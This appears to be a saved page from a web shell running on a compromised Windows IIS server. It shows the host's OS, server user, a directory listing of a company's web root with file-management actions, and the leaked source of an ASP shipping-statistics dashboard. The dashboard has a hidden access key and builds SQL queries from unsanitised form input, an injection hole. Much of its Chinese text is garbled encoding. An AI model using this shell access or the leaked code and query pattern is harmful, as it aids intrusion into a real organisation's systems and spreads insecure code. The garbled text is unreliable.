Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Response.Charset="gb2312"%>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="robots" content="noindex,nofollow">
<script type="text/javascript" src="js/echarts.min.js" charset="utf-8"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.12.2.js"></script>

<title>ASC���ʹ�˾</title>
<style>
table{
 border: solid 1px #000000;
 }
table tr td{
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 border-left-width:1px;
 border-left-color:#000000;
 }
 .box{
 border-left-width:3px;
 border-left-color:#FF0000;
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 }
</style>
</head>
<body style="text-align:center; margin:0 auto;">
<%
    flgRead = Request.Querystring("arg")
    if flgRead <> "Asc365NewSys" then response.end

'��ȡ������Ϣ��������ͼ
    dim haiyunmsg(10000,8) '10000�У�8�У��ɴ洢10000�����ڣ����ڡ�40H��40GP��20GP�����̡�������������ɹ��ɱ���
    id_haiyunmsg = 0
    set dthaiyunmsg=server.CreateObject("adodb.recordset")
    typ = "OPDTOUT1"
    cntfenge = 12
    sql = "select opdtout1,sum(AMT40H),sum(AMT40GP),sum(AMT20GP),sum(AMTTRAY),sum(BULKBYM),sum(BOXAMT),sum(totalamt1) from TR_SEAINTRANSITMSG2 group by opdtout1" '���ܸ������󻻳���һ����������
    if request.Form("submit")="submit" then
        typ = request.Form("typ")
        cntfenge = request.Form("cntfenge")
        sql = "select " & typ & ",sum(AMT40H),sum(AMT40GP),sum(AMT20GP),sum(AMTTRAY),sum(BULKBYM),sum(BOXAMT),sum(totalamt1) from TR_SEAINTRANSITMSG2 group by "& typ '���ܸ������󻻳���һ����������
    end if
    dthaiyunmsg.open sql,conn,1,1
    opdtmax= "2019-01-01"
    opdtmin = "2019-01-01"
    do while not dthaiyunmsg.eof
        haiyunmsg(id_haiyunmsg,0) = dthaiyunmsg(0)
        haiyunmsg(id_haiyunmsg,1) = dthaiyunmsg(1)
        haiyunmsg(id_haiyunmsg,2) = dthaiyunmsg(2)
        haiyunmsg(id_haiyunmsg,3) = dthaiyunmsg(3)
        haiyunmsg(id_haiyunmsg,4) = dthaiyunmsg(4)
        haiyunmsg(id_haiyunmsg,5) = dthaiyunmsg(5)
        haiyunmsg(id_haiyunmsg,6) = dthaiyunmsg(6)
        haiyunmsg(id_haiyunmsg,7) = dthaiyunmsg(7)
        if opdtmax < dthaiyunmsg(0) then opdtmax = dthaiyunmsg(0)
        if opdtmin > dthaiyunmsg(0) then opdtmin = dthaiyunmsg(0)
        id_haiyunmsg = id_haiyunmsg + 1
        dthaiyunmsg.movenext
    loop
    dthaiyunmsg.close
    set dthaiyunmsg = nothing
    conn.close
    set conn = nothing
    needdata = ""
    '���ݲ�ѯ���ͽ����ٴλ��ܣ�����˴λ�������Ϊ�·�
    Dim HaiyunMsgHuizon(141,25) '��0�б���X����⣬��0�б������ƣ���ౣ��20��*7�����ݣ����24�У��԰����Ϊ�ָλ��
    yymax = year(opdtmax)
    yymin = year(opdtmin)
    id_huizong = 1
    for i = yymin to yymax
        HaiyunMsgHuizon(id_huizong,0) = i & "��40H"
        id_huizong = id_huizong +1
        HaiyunMsgHuizon(id_huizong,0) = i & "��40GP"
        id_huizong = id_huizong +1
        HaiyunMsgHuizon(id_huizong,0) = i & "��20GP"
        id_huizong = id_huizong +1
        HaiyunMsgHuizon(id_huizong,0) = i & "������"
        id_huizong = id_huizong +1
        HaiyunMsgHuizon(id_huizong,0) = i & "�����"
        id_huizong = id_huizong +1
        HaiyunMsgHuizon(id_huizong,0) = i & "������"
        id_huizong = id_huizong +1
        HaiyunMsgHuizon(id_huizong,0) = i & "��ɹ��ɱ���"
        id_huizong = id_huizong +1
    next
    dataX = "['ȫ��']"
    legenddata = ""
    if cntfenge = 1 then
        dataX = "['ȫ��']"
        HaiyunMsgHuizon(0,1) = "�������"
        '��ʼ��
        for i = 1 to id_huizong - 1
            HaiyunMsgHuizon(i,1) =0.0
        next
        '¼������
        for i = 0 to id_haiyunmsg - 1 'ÿ����Ϣ���м���
            for j = yymin to yymax '�鿴��Ӧ����һ��
                if year(haiyunmsg(i,0)) = j then
                    for k = 1 to 7
                        HaiyunMsgHuizon(7*(j-yymin) + k,1) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,1)) + CDbl(haiyunmsg(i,k))
                    next
                    exit for
                end if
            next
        next
    end if
    if cntfenge = 2 then
        dataX = "['�ϰ���','�°���']"
        HaiyunMsgHuizon(0,1) = "�ϰ���"
        HaiyunMsgHuizon(0,2) = "�°���"
        '��ʼ��
        for i = 1 to id_huizong - 1
            for j = 1 to 2
                HaiyunMsgHuizon(i,j) =0.0
            next
        next
        '¼������
        for i = 0 to id_haiyunmsg - 1 'ÿ����Ϣ���м���
            for j = yymin to yymax '�鿴��Ӧ����һ��
                if year(haiyunmsg(i,0)) = j then
                    for k = 1 to 7
                        if month(haiyunmsg(i,0))<=6 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,1) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,1)) + CDbl(haiyunmsg(i,k))
                        else
                            HaiyunMsgHuizon(7*(j-yymin) + k,2) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,2)) + CDbl(haiyunmsg(i,k))
                        end if
                    next
                    exit for
                end if
            next
        next
    end if
    if cntfenge = 3 then
        dataX = "['ǰ4����','�м�4����','��4����']"
        HaiyunMsgHuizon(0,1) = "ǰ4����"
        HaiyunMsgHuizon(0,2) = "�м�4����"
        HaiyunMsgHuizon(0,3) = "��4����"
        '��ʼ��
        for i = 1 to id_huizong - 1
            for j = 1 to 3
                HaiyunMsgHuizon(i,j) =0.0
            next
        next
        '¼������
        for i = 0 to id_haiyunmsg - 1 'ÿ����Ϣ���м���
            for j = yymin to yymax '�鿴��Ӧ����һ��
                if year(haiyunmsg(i,0)) = j then
                    for k = 1 to 7
                        if month(haiyunmsg(i,0))<=4 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,1) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,1)) + CDbl(haiyunmsg(i,k))
                        elseif month(haiyunmsg(i,0))<=8 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,2) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,2)) + CDbl(haiyunmsg(i,k))
                        else
                            HaiyunMsgHuizon(7*(j-yymin) + k,3) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,3)) + CDbl(haiyunmsg(i,k))
                        end if
                    next
                    exit for
                end if
            next
        next
    end if
    if cntfenge = 4 then
        dataX = "['��һ����','�ڶ�����','��������','���ļ���']"
        HaiyunMsgHuizon(0,1) = "��һ����"
        HaiyunMsgHuizon(0,2) = "�ڶ�����"
        HaiyunMsgHuizon(0,3) = "��������"
        HaiyunMsgHuizon(0,4) = "���ļ���"
        '��ʼ��
        for i = 1 to id_huizong - 1
            for j = 1 to 4
                HaiyunMsgHuizon(i,j) =0.0
            next
        next
        '¼������
        for i = 0 to id_haiyunmsg - 1 'ÿ����Ϣ���м���
            for j = yymin to yymax '�鿴��Ӧ����һ��
                if year(haiyunmsg(i,0)) = j then
                    for k = 1 to 7
                        if month(haiyunmsg(i,0))<=3 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,1) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,1)) + CDbl(haiyunmsg(i,k))
                        elseif month(haiyunmsg(i,0))<=6 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,2) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,2)) + CDbl(haiyunmsg(i,k))
                        elseif month(haiyunmsg(i,0))<=9 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,3) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,3)) + CDbl(haiyunmsg(i,k))
                        else
                            HaiyunMsgHuizon(7*(j-yymin) + k,4) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,4)) + CDbl(haiyunmsg(i,k))
                        end if
                    next
                    exit for
                end if
            next
        next
    end if
    if cntfenge = 12 then
        dataX = "['1��', '2��', '3��', '4��', '5��', '6��', '7��', '8��', '9��', '10��', '11��', '12��']"
        HaiyunMsgHuizon(0,1) = "1��"
        HaiyunMsgHuizon(0,2) = "2��"
        HaiyunMsgHuizon(0,3) = "3��"
        HaiyunMsgHuizon(0,4) = "4��"
        HaiyunMsgHuizon(0,5) = "5��"
        HaiyunMsgHuizon(0,6) = "6��"
        HaiyunMsgHuizon(0,7) = "7��"
        HaiyunMsgHuizon(0,8) = "8��"
        HaiyunMsgHuizon(0,9) = "9��"
        HaiyunMsgHuizon(0,10) = "10��"
        HaiyunMsgHuizon(0,11) = "11��"
        HaiyunMsgHuizon(0,12) = "12��"
        '��ʼ��
        for i = 1 to id_huizong - 1
            for j = 1 to 12
                HaiyunMsgHuizon(i,j) =0.0
            next
        next
        '¼������
        for i = 0 to id_haiyunmsg - 1 'ÿ����Ϣ���м���
            for j = yymin to yymax '�鿴��Ӧ����һ��
                if year(haiyunmsg(i,0)) = j then
                    for k = 1 to 7
                        HaiyunMsgHuizon(7*(j-yymin) + k,month(haiyunmsg(i,0))) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,month(haiyunmsg(i,0)))) + CDbl(haiyunmsg(i,k)) 'HaiyunMsgHuizon(1 +7*(j-yymin) +k-1,month(haiyunmsg(i,0)))
                    next
                    exit for
                end if
            next
        next
    end if
    if cntfenge = 24 then
        dataX = "['1���ϰ���','1���°���','2���ϰ���','2���°���','3���ϰ���','3���°���','4���ϰ���','4���°���','5���ϰ���','5���°���','6���ϰ���','6���°���','7���ϰ���','7���°���','8���ϰ���','8���°���','9���ϰ���','9���°���','10���ϰ���','10���°���','11���ϰ���','11���°���','12���ϰ���','12���°���']"
        HaiyunMsgHuizon(0,1 ) = "1���ϰ���"
        HaiyunMsgHuizon(0,2 ) = "1���°���"
        HaiyunMsgHuizon(0,3 ) = "2���ϰ���"
        HaiyunMsgHuizon(0,4 ) = "2���°���"
        HaiyunMsgHuizon(0,5 ) = "3���ϰ���"
        HaiyunMsgHuizon(0,6 ) = "3���°���"
        HaiyunMsgHuizon(0,7 ) = "4���ϰ���"
        HaiyunMsgHuizon(0,8 ) = "4���°���"
        HaiyunMsgHuizon(0,9 ) = "5���ϰ���"
        HaiyunMsgHuizon(0,10) = "5���°���"
        HaiyunMsgHuizon(0,11) = "6���ϰ���"
        HaiyunMsgHuizon(0,12) = "6���°���"
        HaiyunMsgHuizon(0,13) = "7���ϰ���"
        HaiyunMsgHuizon(0,14) = "7���°���"
        HaiyunMsgHuizon(0,15) = "8���ϰ���"
        HaiyunMsgHuizon(0,16) = "8���°���"
        HaiyunMsgHuizon(0,17) = "9���ϰ���"
        HaiyunMsgHuizon(0,18) = "9���°���"
        HaiyunMsgHuizon(0,19) = "10���ϰ���"
        HaiyunMsgHuizon(0,20) = "10���°���"
        HaiyunMsgHuizon(0,21) = "11���ϰ���"
        HaiyunMsgHuizon(0,22) = "11���°���"
        HaiyunMsgHuizon(0,23) = "12���ϰ���"
        HaiyunMsgHuizon(0,24) = "12���°���"
        '��ʼ��
        for i = 1 to id_huizong - 1
            for j = 1 to 24
                HaiyunMsgHuizon(i,j) =0.0
            next
        next
        '¼������
        for i = 0 to id_haiyunmsg - 1 'ÿ����Ϣ���м���
            for j = yymin to yymax '�鿴��Ӧ����һ��
                if year(haiyunmsg(i,0)) = j then
                    for k = 1 to 7
                        if day(haiyunmsg(i,0)) <=15 then
                            HaiyunMsgHuizon(7*(j-yymin) + k,month(haiyunmsg(i,0))*2-1) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,month(haiyunmsg(i,0))*2-1)) + CDbl(haiyunmsg(i,k)) 'HaiyunMsgHuizon(1 +7*(j-yymin) +k-1,month(haiyunmsg(i,0)))
                        else
                            HaiyunMsgHuizon(7*(j-yymin) + k,month(haiyunmsg(i,0))*2) = CDbl(HaiyunMsgHuizon(7*(j-yymin) + k,month(haiyunmsg(i,0))*2)) + CDbl(haiyunmsg(i,k)) 
                        end if
                    next
                    exit for
                end if
            next
        next
    end if
    '���JSON����
    needdata = "{"
    legenddata = "["
    for i = yymin to yymax
        for j = 1 to 7
            needdata = needdata & "'" & HaiyunMsgHuizon(7*(i-yymin)+j,0) & "'" & ":["
            legenddata = legenddata & "'" & HaiyunMsgHuizon(7*(i-yymin)+j,0) & "',"
            for k = 1 to cntfenge
                needdata = needdata & HaiyunMsgHuizon(7*(i-yymin)+j,k) & ","
            next
            needdata = left(needdata,len(needdata)-1) & "],"
        next
    next
    legenddata = left(legenddata,len(legenddata)-1) & "]"
    needdata = left(needdata,len(needdata)-1) & "}"

%>
    <div style="margin:0 auto; text-align:center">
    <form method="post" action="" align="center">

<table width="800" border="1" style="border-collapse: collapse" align="center">
            <tr>
                <td nowrap>ʱ�����ͣ�
                    <select name="typ">
                        <option value="OPDTOUT1" <%if typ = "OPDTOUT1" then%>selected="selected"<%end if%>>����װ������</option>
                        <option value="OPDTIN2" <%if typ = "OPDTIN2" then%>selected="selected"<%end if%>>�����ͻ�����</option>
                    </select>
                </td>
                <td nowrap>һ��ȷָ�������
                    <select name="cntfenge">
                        <option value="1" <%if cntfenge = "1" then%>selected="selected"<%end if%>>1��</option>
                        <option value="2" <%if cntfenge = "2" then%>selected="selected"<%end if%>>2��</option>
                        <option value="3" <%if cntfenge = "3" then%>selected="selected"<%end if%>>3��</option>
                        <option value="4" <%if cntfenge = "4" then%>selected="selected"<%end if%>>4��</option>
                        <option value="12" <%if cntfenge = "12" then%>selected="selected"<%end if%>>12��</option>
                        <option value="24" <%if cntfenge = "24" then%>selected="selected"<%end if%>>24��</option>
                    </select>
                </td>
                <td nowrap><input type="submit" name="submit" value="submit"></td>
            </tr>
            <tr>
                <td colspan="3">������Դ��������Ϣ������˲���¼�ģ����ɹ��ɱ���������Ϣ���еļ�˰�ϼƽ�</br>ȫ���24��ʱ�ϰ���ͳһ����1�ŵ�15�Ž��м��㣬û��ƽ�����ڡ�</td>
            </tr>
        </table>
    </form>
    </div>
    <div id="jizhuangxiang" style="text-align:center; height:93%" >Loading...</div>
    <div id="tuopan" style="text-align:center; height:93%" >Loading...</div>
    <div id="V3Xiangshu" style="text-align:center; height:93%" >Loading...</div>
    <div id="Money" style="text-align:center; height:93%" >Loading...</div>

</div>
</body>
</html>
<script type="text/javascript">

option3 = null;
option3 = {
    title: {
        text: '����������ף�������',
        subtextStyle:{color:'#f00'},
        left:'center'
    },
    tooltip: {
            trigger: 'axis',
            axisPointer : {            // ������ָʾ���������ᴥ����Ч
                type : 'shadow'        // Ĭ��Ϊֱ�ߣ���ѡΪ��'line' | 'shadow'
            }
    },
    legend: {
        data:legenddata,
        selected:legendselect(legenddata),
        left:'center',
        top:'5%'
    },
    grid: {
        top: '10%',
        left: '3%',
        right: '4%',
        bottom: '5%',
        containLabel: true
    },
    toolbox: {
        feature: {
            dataView : {show: true, readOnly: false,title:'�鿴����'},
            saveAsImage: {
                title: '����ΪͼƬ'
            }
        }
    },
    xAxis: {
        type: 'category',
        data: dataX 
    },
    yAxis: [{
        name: '�����M3��',
        type: 'value',
        nameTextStyle:{
            fontSize:'15'
            }
        },
        {
        name: '����',
        type: 'value',
        nameTextStyle:{
            fontSize:'15'
            }
        }
        ],
    series: ddshow3
};
;
if (option3 && typeof option3 === "object") {
    echarts.init(document.getElementById("V3Xiangshu")).setOption(option3, true);
}
//�ɹ����

option4 = null;
option4 = {
    title: {
        text: '�ɹ��ɱ���',
        subtextStyle:{color:'#f00'},
        left:'center'
    },
    tooltip: {
            trigger: 'axis',
            axisPointer : {            // ������ָʾ���������ᴥ����Ч
                type : 'shadow'        // Ĭ��Ϊֱ�ߣ���ѡΪ��'line' | 'shadow'
            }
    },
    legend: {
        data:legenddata,
        selected:legendselect(legenddata),
        left:'center',
        top:'5%'
    },
    grid: {
        top: '10%',
        left: '3%',
        right: '4%',
        bottom: '5%',
        containLabel: true
    },
    toolbox: {
        feature: {
            dataView : {show: true, readOnly: false,title:'�鿴����'},
            saveAsImage: {
                title: '����ΪͼƬ'
            }
        }
    },
    xAxis: {
        type: 'category',
        data: dataX 
    },
    yAxis: [{
        name: '�ɹ��ɱ���',
        type: 'value',
        nameTextStyle:{
            fontSize:'15'
            }
        }
        
        ],
    series: ddshow4
};
;
if (option4 && typeof option4 === "object") {
    echarts.init(document.getElementById("Money")).setOption(option4, true);
}
</script>